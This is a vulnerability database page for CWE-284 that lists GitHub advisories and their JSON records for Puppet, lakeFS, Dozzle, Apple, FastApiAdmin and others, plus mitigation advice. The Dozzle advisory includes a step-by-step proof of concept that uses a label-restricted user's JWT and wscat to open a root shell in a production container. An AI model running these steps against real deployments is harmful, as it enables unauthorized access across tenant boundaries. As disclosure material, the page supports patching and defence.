CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
7855 vulnerabilities reference this CWE, most recent first.
GHSA-M7X4-FM9R-7WJ8
Vulnerability from github – Published: 2023-06-07 21:30 – Updated: 2024-04-04 04:39A privilege escalation allowing remote code execution was discovered in the orchestration service.
{
"affected": [],
"aliases": [
"CVE-2023-2530"
],
"database_specific": {
"cwe_ids": [
"CWE-276",
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-07T20:15:09Z",
"severity": "CRITICAL"
},
"details": "A privilege escalation allowing remote code execution was discovered in the orchestration service.",
"id": "GHSA-m7x4-fm9r-7wj8",
"modified": "2024-04-04T04:39:43Z",
"published": "2023-06-07T21:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2530"
},
{
"type": "WEB",
"url": "https://www.puppet.com/security/cve/cve-2023-2530-remote-code-execution-orchestrator"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M836-GXWQ-J2PM
Vulnerability from github – Published: 2021-10-28 16:27 – Updated: 2021-10-27 18:58Impact
- [medium] A user with write permissions to a portion of a repository may use the S3 gateway to copy any object in the repository if they know its name.
- [medium] A user with permission to write any one of tags, branches, or commits on a repository may write all of them.
- [low] A user with permission to read any one of tags, branches, or commits on a repository may read all of them.
- [low] A user allowed to list objects in a repository or read repository meta-data may retrieve graveler information about the location on underlying storage of all objects stored in any commit that they can view. If the user additionally has the capability to read underlying storage, they will be able to retrieve metadata associated with all objects in that commit.
For more information
If you have any questions or comments about this advisory please: * Email us at security@treeverse.io. * Open an issue on https://github.com/treeverse/lakeFS/issues/new.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/treeverse/lakefs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.53.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2021-10-27T18:58:30Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\n1. [medium] A user with write permissions to a portion of a repository may use the S3 gateway to copy any object in the repository if they know its name.\n1. [medium] A user with permission to write any one of tags, branches, or commits on a repository may write all of them.\n1. [low] A user with permission to read any one of tags, branches, or commits on a repository may read all of them.\n1. [low] A user allowed to list objects in a repository _or_ read repository meta-data may retrieve graveler information about the location on underlying storage of all objects stored in any commit that they can view. If the user additionally has the capability to read underlying storage, they will be able to retrieve metadata associated with all objects in that commit.\n\n### For more information\n\nIf you have any questions or comments about this advisory please:\n* Email us at security@treeverse.io.\n* Open an issue on https://github.com/treeverse/lakeFS/issues/new.\n",
"id": "GHSA-m836-gxwq-j2pm",
"modified": "2021-10-27T18:58:30Z",
"published": "2021-10-28T16:27:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/treeverse/lakeFS/security/advisories/GHSA-m836-gxwq-j2pm"
},
{
"type": "WEB",
"url": "https://github.com/treeverse/lakeFS/commit/f2117281cadb14fdf9ac7fe287f84d5c10308b88"
},
{
"type": "PACKAGE",
"url": "https://github.com/treeverse/lakeFS"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improper Access Control in github.com/treeverse/lakefs"
}
GHSA-M855-R557-5RC5
Vulnerability from github – Published: 2026-01-27 00:55 – Updated: 2026-01-29 03:40Summary
A flaw in Dozzle’s agent-backed shell endpoints allows a user restricted by label filters (for example, label=env=dev) to obtain an interactive root shell in out‑of‑scope containers (for example, env=prod) on the same agent host by directly targeting their container IDs.
Note: Tested on v9.0.2 likely affects all versions with agent mode support.
Details
When SIMPLE auth is enabled, Dozzle supports per‑user label filters in users.yaml (for example, filter: label=env=dev) to restrict which containers a user can see and interact with. These filters are propagated into the shell handlers, which resolve the target container via h.hostService.FindContainer(hostKey(r), id, userLabels) in both the attach and exec WebSocket endpoints, intending to limit shell access to containers within the user’s label scope.
For agent-backed hosts, the corresponding implementation ignores the label scope when resolving a container by ID (agent_service.go#L27-L29):
func (a *agentService) FindContainer(ctx context.Context, id string, labels container.ContainerLabels) (container.Container, error) {
return a.client.FindContainer(ctx, id)
}
As a result, an authenticated user configured with filter: label=env=dev and granted the shell role cannot see env=prod containers in the UI, but can still establish an interactive exec session into an env=prod container by calling /api/hosts/{hostId}/containers/{containerId}/exec (or /attach) with a valid JWT and the target container ID. This discrepancy between listing and exec/attach behavior breaks the intended label‑based isolation between environments or tenants for agent-backed deployments.
Note: The underlying Docker client implementation explicitly documents that FindContainer skips filters (docker/client.go#L128-L137):
// Finds a container by id, skipping the filters
func (d *DockerClient) FindContainer(ctx context.Context, id string) (container.Container, error) {
log.Debug().Str("id", id).Msg("Finding container")
if json, err := d.cli.ContainerInspect(ctx, id); err == nil {
return newContainerFromJSON(json, d.host.ID), nil
} else {
return container.Container{}, err
}
}
Note: For reference, we can see the correct implementation in ListContainers (agent_service.go#L43-L46):
func (a *agentService) ListContainers(ctx context.Context, labels container.ContainerLabels) ([]container.Container, error) {
log.Debug().Interface("labels", labels).Msg("Listing containers from agent")
return a.client.ListContainers(ctx, labels)
}
PoC
# create new dir
$ cd /tmp && mkdir -p /tmp/dozzle && cd /tmp/dozzle && mkdir -p data
# run dozzle agent
$ docker run -d --name dozzle-agent \
-v /var/run/docker.sock:/var/run/docker.sock:ro \
-p 7007:7007 \
amir20/dozzle:latest agent
# sleep
$ sleep 5
# run dev container
$ docker run -d --name dev-allowed --label env=dev alpine sleep 100000
# run prod container
$ docker run -d --name prod-secret --label env=prod alpine sleep 100000
# check containers status
$ docker ps --format "table {{.ID}}\t{{.Names}}\t{{.Label \"env\"}}" | grep -E 'dev-allowed|prod-secret'
3731627f4e2d prod-secret prod
51e6cffce99f dev-allowed dev
# get hash for pass:devpass
$ HASH=$(printf 'devpass' | sha256sum | awk '{print $1}')
# create dev user
$ cat > /tmp/dozzle/data/users.yaml << EOF
users:
devuser:
email: dev@example.com
name: Dev User
password: ${HASH}
filter: "label=env=dev"
roles: "shell"
EOF
# sanity check users
$ cat /tmp/dozzle/data/users.yaml
users:
devuser:
email: dev@example.com
name: Dev User
password: fee39c23856e3d9dd500861a30903548b8878994291b2fef7fff2f53b3073c0c
filter: "label=env=dev"
roles: "shell"
# run main image
$ docker run -d --name dozzle-main \
-v /tmp/dozzle/data:/data \
-p 8080:8080 \
-e DOZZLE_AUTH_PROVIDER=simple \
-e DOZZLE_AUTH_TTL=48h \
-e DOZZLE_ENABLE_SHELL=true \
-e "DOZZLE_REMOTE_AGENT=host.docker.internal:7007" \
amir20/dozzle:latest
# sleep
$ sleep 8
# get jwt token for devuser
$ curl -s -X POST http://localhost:8080/api/token \
-d "username=devuser&password=devpass" \
-c /tmp/dozzle/cookies.txt
# save the token
$ TOKEN=$(grep jwt /tmp/dozzle/cookies.txt | awk '{print $7}')
# in browser open http://localhost:8080 -> login with user:devuser pass:devpass -> grab host http://localhost:8080/host/cafb9ffc-ac34-47a6-985b-10ffea39610e
$ HOST_ID="cafb9ffc-ac34-47a6-985b-10ffea39610e"
# get prod cid
$ PROD_CID=$(docker ps --filter "name=prod-secret" --format '{{.ID}}')
# sanity check
$ echo $PROD_CID
3731627f4e2d
# install wscat
$ npm install -g wscat
# open wscat with token
$ wscat -c "ws://localhost:8080/api/hosts/${HOST_ID}/containers/${PROD_CID}/exec" \
-H "Cookie: jwt=${TOKEN}"
Connected (press CTRL+C to quit)
< / #
/ #
> {"type":"userinput","data":"id\n"}
< id
< uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/ #
> {"type":"userinput","data":"cat /etc/hostname\n"}
< cat /etc/hostname
< 3731627f4e2d
< / #
> quit
Disconnected (code: 1006, reason: "")
As configured, devuser only sees dev-allowed in the Dozzle UI (due to filter: label=env=dev), but can still open a root shell in prod-secret via the agent-backed exec endpoint by supplying its container ID.
Impact
This is an authorization bypass in environments that rely on SIMPLE auth label filters together with agents to separate environments or tenants. A user who should be constrained to a specific label set (for example, env=dev) but has the Shell role can gain full interactive access (read, modify, disrupt) to containers with other labels (for example, env=prod) on the same agent host, provided they can obtain the target container ID.
Remediation
-
In the agent-backed
FindContainerimplementation, enforce the same label-based filtering semantics as the Docker/Kubernetes host implementations by ensuring the requested (host, containerId) is within the set returned byListContainersfor the caller’suserLabelsbefore returning it to exec/attach. -
Add regression tests verifying that a user with filter:
label=env=devand the Shell role cannot exec or attach intoenv=prodcontainers via the agent path, even when supplying a valid container ID. -
As defense in depth, reject exec/attach requests when the resolved container is not present in the user-visible subset returned by the list API under the same label filter.
This issue has been fixed in version 9.0.3 but the Go registry only contains versions up to 1.29.0. Use Docker or GitHub to download 9.0.3.
Resources
- https://dozzle.dev/guide/authentication#setting-specific-filters-for-users
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/amir20/dozzle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.29.1-0.20260125230338-620e59aa2463"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24740"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-27T00:55:33Z",
"nvd_published_at": "2026-01-27T21:16:03Z",
"severity": "HIGH"
},
"details": "### Summary\nA flaw in Dozzle\u2019s agent-backed shell endpoints allows a user restricted by label filters (for example, `label=env=dev`) to obtain an interactive root shell in out\u2011of\u2011scope containers (for example, `env=prod`) on the same agent host by directly targeting their container IDs.\n\n**Note**: Tested on `v9.0.2` likely affects all versions with agent mode support.\n\n### Details\nWhen SIMPLE auth is enabled, Dozzle supports per\u2011user label filters in `users.yaml` (for example, filter: `label=env=dev`) to restrict which containers a user can see and interact with. These filters are propagated into the shell handlers, which resolve the target container via `h.hostService.FindContainer(hostKey(r), id, userLabels)` in both the attach and exec WebSocket endpoints, intending to limit shell access to containers within the user\u2019s label scope.\n\nFor agent-backed hosts, the corresponding implementation ignores the label scope when resolving a container by ID ([agent_service.go#L27-L29](https://github.com/amir20/dozzle/blob/master/internal/support/container/agent_service.go#L27-L29)):\n```go\nfunc (a *agentService) FindContainer(ctx context.Context, id string, labels container.ContainerLabels) (container.Container, error) {\n return a.client.FindContainer(ctx, id)\n}\n```\n\nAs a result, an authenticated user configured with filter: `label=env=dev` and granted the shell role cannot see `env=prod` containers in the UI, but can still establish an interactive exec session into an `env=prod` container by calling `/api/hosts/{hostId}/containers/{containerId}/exec` (or `/attach`) with a valid JWT and the target container ID. This discrepancy between listing and exec/attach behavior breaks the intended label\u2011based isolation between environments or tenants for agent-backed deployments.\n\n**Note**: The underlying Docker client implementation explicitly documents that `FindContainer` skips filters ([docker/client.go#L128-L137](https://github.com/amir20/dozzle/blob/master/internal/docker/client.go#L128-L137)):\n```go\n// Finds a container by id, skipping the filters\nfunc (d *DockerClient) FindContainer(ctx context.Context, id string) (container.Container, error) {\n log.Debug().Str(\"id\", id).Msg(\"Finding container\")\n if json, err := d.cli.ContainerInspect(ctx, id); err == nil {\n return newContainerFromJSON(json, d.host.ID), nil\n } else {\n return container.Container{}, err\n }\n}\n```\n\n**Note**: For reference, we can see the correct implementation in `ListContainers` ([agent_service.go#L43-L46](https://github.com/amir20/dozzle/blob/master/internal/support/container/agent_service.go#L43-L46)):\n```go\nfunc (a *agentService) ListContainers(ctx context.Context, labels container.ContainerLabels) ([]container.Container, error) {\n\tlog.Debug().Interface(\"labels\", labels).Msg(\"Listing containers from agent\")\n\treturn a.client.ListContainers(ctx, labels)\n}\n```\n### PoC\n```bash\n# create new dir\n$ cd /tmp \u0026\u0026 mkdir -p /tmp/dozzle \u0026\u0026 cd /tmp/dozzle \u0026\u0026 mkdir -p data\n\n# run dozzle agent\n$ docker run -d --name dozzle-agent \\\n -v /var/run/docker.sock:/var/run/docker.sock:ro \\\n -p 7007:7007 \\\n amir20/dozzle:latest agent\n\n# sleep\n$ sleep 5\n\n# run dev container\n$ docker run -d --name dev-allowed --label env=dev alpine sleep 100000\n\n# run prod container\n$ docker run -d --name prod-secret --label env=prod alpine sleep 100000\n\n# check containers status\n$ docker ps --format \"table {{.ID}}\\t{{.Names}}\\t{{.Label \\\"env\\\"}}\" | grep -E \u0027dev-allowed|prod-secret\u0027\n3731627f4e2d prod-secret prod\n51e6cffce99f dev-allowed dev\n\n# get hash for pass:devpass\n$ HASH=$(printf \u0027devpass\u0027 | sha256sum | awk \u0027{print $1}\u0027)\n\n# create dev user\n$ cat \u003e /tmp/dozzle/data/users.yaml \u003c\u003c EOF\nusers:\n devuser:\n email: dev@example.com\n name: Dev User\n password: ${HASH}\n filter: \"label=env=dev\"\n roles: \"shell\"\nEOF\n\n# sanity check users \n$ cat /tmp/dozzle/data/users.yaml\nusers:\n devuser:\n email: dev@example.com\n name: Dev User\n password: fee39c23856e3d9dd500861a30903548b8878994291b2fef7fff2f53b3073c0c\n filter: \"label=env=dev\"\n roles: \"shell\"\n\n# run main image\n$ docker run -d --name dozzle-main \\\n -v /tmp/dozzle/data:/data \\\n -p 8080:8080 \\\n -e DOZZLE_AUTH_PROVIDER=simple \\\n -e DOZZLE_AUTH_TTL=48h \\\n -e DOZZLE_ENABLE_SHELL=true \\\n -e \"DOZZLE_REMOTE_AGENT=host.docker.internal:7007\" \\\n amir20/dozzle:latest\n\n# sleep\n$ sleep 8\n\n# get jwt token for devuser\n$ curl -s -X POST http://localhost:8080/api/token \\\n -d \"username=devuser\u0026password=devpass\" \\\n -c /tmp/dozzle/cookies.txt\n\n# save the token\n$ TOKEN=$(grep jwt /tmp/dozzle/cookies.txt | awk \u0027{print $7}\u0027)\n\n# in browser open http://localhost:8080 -\u003e login with user:devuser pass:devpass -\u003e grab host http://localhost:8080/host/cafb9ffc-ac34-47a6-985b-10ffea39610e\n$ HOST_ID=\"cafb9ffc-ac34-47a6-985b-10ffea39610e\"\n\n# get prod cid\n$ PROD_CID=$(docker ps --filter \"name=prod-secret\" --format \u0027{{.ID}}\u0027)\n\n# sanity check\n$ echo $PROD_CID\n3731627f4e2d\n\n# install wscat\n$ npm install -g wscat\n\n# open wscat with token\n$ wscat -c \"ws://localhost:8080/api/hosts/${HOST_ID}/containers/${PROD_CID}/exec\" \\\n -H \"Cookie: jwt=${TOKEN}\"\nConnected (press CTRL+C to quit)\n\u003c / # \n/ # \n\u003e {\"type\":\"userinput\",\"data\":\"id\\n\"}\n\u003c id\n\n\u003c uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n/ # \n\u003e {\"type\":\"userinput\",\"data\":\"cat /etc/hostname\\n\"}\n\u003c cat /etc/hostname\n\n\u003c 3731627f4e2d\n\n\u003c / # \n\u003e quit\nDisconnected (code: 1006, reason: \"\")\n```\nAs configured, `devuser` only sees dev-allowed in the Dozzle UI (due to filter: `label=env=dev`), but can still open a root shell in prod-secret via the agent-backed exec endpoint by supplying its container ID.\n\n### Impact\nThis is an authorization bypass in environments that rely on SIMPLE auth label filters together with agents to separate environments or tenants. A user who should be constrained to a specific label set (for example, `env=dev`) but has the Shell role can gain full interactive access (**read**, **modify**, **disrupt**) to containers with other labels (for example, `env=prod`) on the same agent host, provided they can obtain the target container ID.\n\n### Remediation\n- In the agent-backed `FindContainer` implementation, enforce the same label-based filtering semantics as the Docker/Kubernetes host implementations by ensuring the requested (host, containerId) is within the set returned by `ListContainers` for the caller\u2019s `userLabels` before returning it to exec/attach.\n\n- Add regression tests verifying that a user with filter: `label=env=dev` and the Shell role cannot exec or attach into `env=prod` containers via the agent path, even when supplying a valid container ID.\n\n- As defense in depth, reject exec/attach requests when the resolved container is not present in the user-visible subset returned by the list API under the same label filter.\n\nThis issue has been fixed in version 9.0.3 but the Go registry only contains versions up to 1.29.0. Use Docker or GitHub to download \n9.0.3.\n\n### Resources\n- https://dozzle.dev/guide/authentication#setting-specific-filters-for-users",
"id": "GHSA-m855-r557-5rc5",
"modified": "2026-01-29T03:40:06Z",
"published": "2026-01-27T00:55:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/amir20/dozzle/security/advisories/GHSA-m855-r557-5rc5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24740"
},
{
"type": "WEB",
"url": "https://github.com/amir20/dozzle/commit/620e59aa246347ba8a27e68c532853b8a5137bc1"
},
{
"type": "PACKAGE",
"url": "https://github.com/amir20/dozzle"
},
{
"type": "WEB",
"url": "https://github.com/amir20/dozzle/releases/tag/v9.0.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Dozzle Agent Label-Based Access Control Bypass Allows Unauthorized Container Shell Access"
}
GHSA-M856-X5C7-2WC2
Vulnerability from github – Published: 2022-05-17 00:49 – Updated: 2022-05-17 00:49The default configuration of the Apache HTTP Server on Apple OS X before 10.10.4 does not enable the mod_hfs_apple module, which allows remote attackers to bypass HTTP authentication via a crafted URL.
{
"affected": [],
"aliases": [
"CVE-2015-3675"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-07-03T01:59:00Z",
"severity": "MODERATE"
},
"details": "The default configuration of the Apache HTTP Server on Apple OS X before 10.10.4 does not enable the mod_hfs_apple module, which allows remote attackers to bypass HTTP authentication via a crafted URL.",
"id": "GHSA-m856-x5c7-2wc2",
"modified": "2022-05-17T00:49:21Z",
"published": "2022-05-17T00:49:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-3675"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2015/Jun/msg00002.html"
},
{
"type": "WEB",
"url": "http://support.apple.com/kb/HT204942"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/75493"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1032760"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-M879-6GVR-239V
Vulnerability from github – Published: 2026-02-23 09:31 – Updated: 2026-02-23 09:31A flaw has been found in FastApiAdmin up to 2.2.0. This issue affects the function user_avatar_upload_controller of the file /backend/app/api/v1/module_system/user/controller.py of the component Scheduled Task API. Executing a manipulation can lead to unrestricted upload. The attack can be launched remotely. The exploit has been published and may be used.
{
"affected": [],
"aliases": [
"CVE-2026-2979"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-23T09:17:01Z",
"severity": "MODERATE"
},
"details": "A flaw has been found in FastApiAdmin up to 2.2.0. This issue affects the function user_avatar_upload_controller of the file /backend/app/api/v1/module_system/user/controller.py of the component Scheduled Task API. Executing a manipulation can lead to unrestricted upload. The attack can be launched remotely. The exploit has been published and may be used.",
"id": "GHSA-m879-6gvr-239v",
"modified": "2026-02-23T09:31:24Z",
"published": "2026-02-23T09:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2979"
},
{
"type": "WEB",
"url": "https://github.com/CC-T-454455/Vulnerabilities/tree/master/fastapi-admin/vulnerability-5"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.347363"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.347363"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.756156"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M88G-7RCV-6RCX
Vulnerability from github – Published: 2024-03-08 03:31 – Updated: 2026-04-02 21:31The issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.4, macOS Monterey 12.7.4, macOS Ventura 13.6.5. An app may be able to modify protected parts of the file system.
{
"affected": [],
"aliases": [
"CVE-2024-23266"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-08T02:15:49Z",
"severity": "MODERATE"
},
"details": "The issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.4, macOS Monterey 12.7.4, macOS Ventura 13.6.5. An app may be able to modify protected parts of the file system.",
"id": "GHSA-m88g-7rcv-6rcx",
"modified": "2026-04-02T21:31:38Z",
"published": "2024-03-08T03:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23266"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120884"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120886"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120895"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT214083"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT214084"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT214085"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT214083"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT214084"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT214085"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Mar/21"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Mar/22"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Mar/23"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M89J-9V2X-QHQJ
Vulnerability from github – Published: 2025-05-22 00:34 – Updated: 2025-05-22 00:34A vulnerability classified as critical has been found in Campcodes Online Shopping Portal 1.0. This affects an unknown part of the file /admin/edit-subcategory.php. The manipulation of the argument productimage1/productimage2/productimage3 leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-5059"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-21T23:15:55Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as critical has been found in Campcodes Online Shopping Portal 1.0. This affects an unknown part of the file /admin/edit-subcategory.php. The manipulation of the argument productimage1/productimage2/productimage3 leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-m89j-9v2x-qhqj",
"modified": "2025-05-22T00:34:04Z",
"published": "2025-05-22T00:34:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5059"
},
{
"type": "WEB",
"url": "https://github.com/snkercyber/CVE/issues/3"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.309879"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.309879"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.581391"
},
{
"type": "WEB",
"url": "https://www.campcodes.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M8GH-987P-HRF6
Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2022-05-13 01:36An Improper Access Control issue was discovered in Cambium Networks ePMP. After a valid user has used SNMP configuration export, an attacker is able to remotely trigger device configuration backups using specific MIBs. These backups lack proper access control and may allow access to sensitive information and possibly allow for configuration changes.
{
"affected": [],
"aliases": [
"CVE-2017-7918"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-21T19:29:00Z",
"severity": "MODERATE"
},
"details": "An Improper Access Control issue was discovered in Cambium Networks ePMP. After a valid user has used SNMP configuration export, an attacker is able to remotely trigger device configuration backups using specific MIBs. These backups lack proper access control and may allow access to sensitive information and possibly allow for configuration changes.",
"id": "GHSA-m8gh-987p-hrf6",
"modified": "2022-05-13T01:36:14Z",
"published": "2022-05-13T01:36:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7918"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-166-01"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/99083"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-M8MV-Q3PG-354J
Vulnerability from github – Published: 2026-04-07 18:31 – Updated: 2026-04-07 18:31An arbitrary file-write vulnerability in Pega Browser Extension (PBE) affects Pega Robotic Automation version 22.1 or R25 users who are running automations that work with Google Chrome or Microsoft Edge. A bad actor could create a website that includes malicious code. The vulnerability could occur if a Robot Runtime user navigates to the malicious website.
{
"affected": [],
"aliases": [
"CVE-2026-1078"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-07T16:16:23Z",
"severity": "HIGH"
},
"details": "An arbitrary file-write vulnerability in Pega Browser Extension (PBE) affects Pega Robotic Automation version 22.1 or R25 users who are running automations that work with Google Chrome or Microsoft Edge. A bad actor could create a website that includes malicious code. The vulnerability could occur if a Robot Runtime user navigates to the malicious website.",
"id": "GHSA-m8mv-q3pg-354j",
"modified": "2026-04-07T18:31:36Z",
"published": "2026-04-07T18:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1078"
},
{
"type": "WEB",
"url": "https://support.pega.com/support-doc/pega-security-advisory-a26-vulnerability-remediation-note"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M8PG-77C8-3WJ6
Vulnerability from github – Published: 2025-04-01 00:30 – Updated: 2026-04-02 21:32A permissions issue was addressed with additional sandbox restrictions. This issue is fixed in macOS Ventura 13.7.5, macOS Sonoma 14.7.5. An app may be able to access sensitive user data.
{
"affected": [],
"aliases": [
"CVE-2024-54533"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-31T23:15:16Z",
"severity": "HIGH"
},
"details": "A permissions issue was addressed with additional sandbox restrictions. This issue is fixed in macOS Ventura 13.7.5, macOS Sonoma 14.7.5. An app may be able to access sensitive user data.",
"id": "GHSA-m8pg-77c8-3wj6",
"modified": "2026-04-02T21:32:11Z",
"published": "2025-04-01T00:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54533"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121839"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122374"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122375"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Apr/10"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Apr/9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
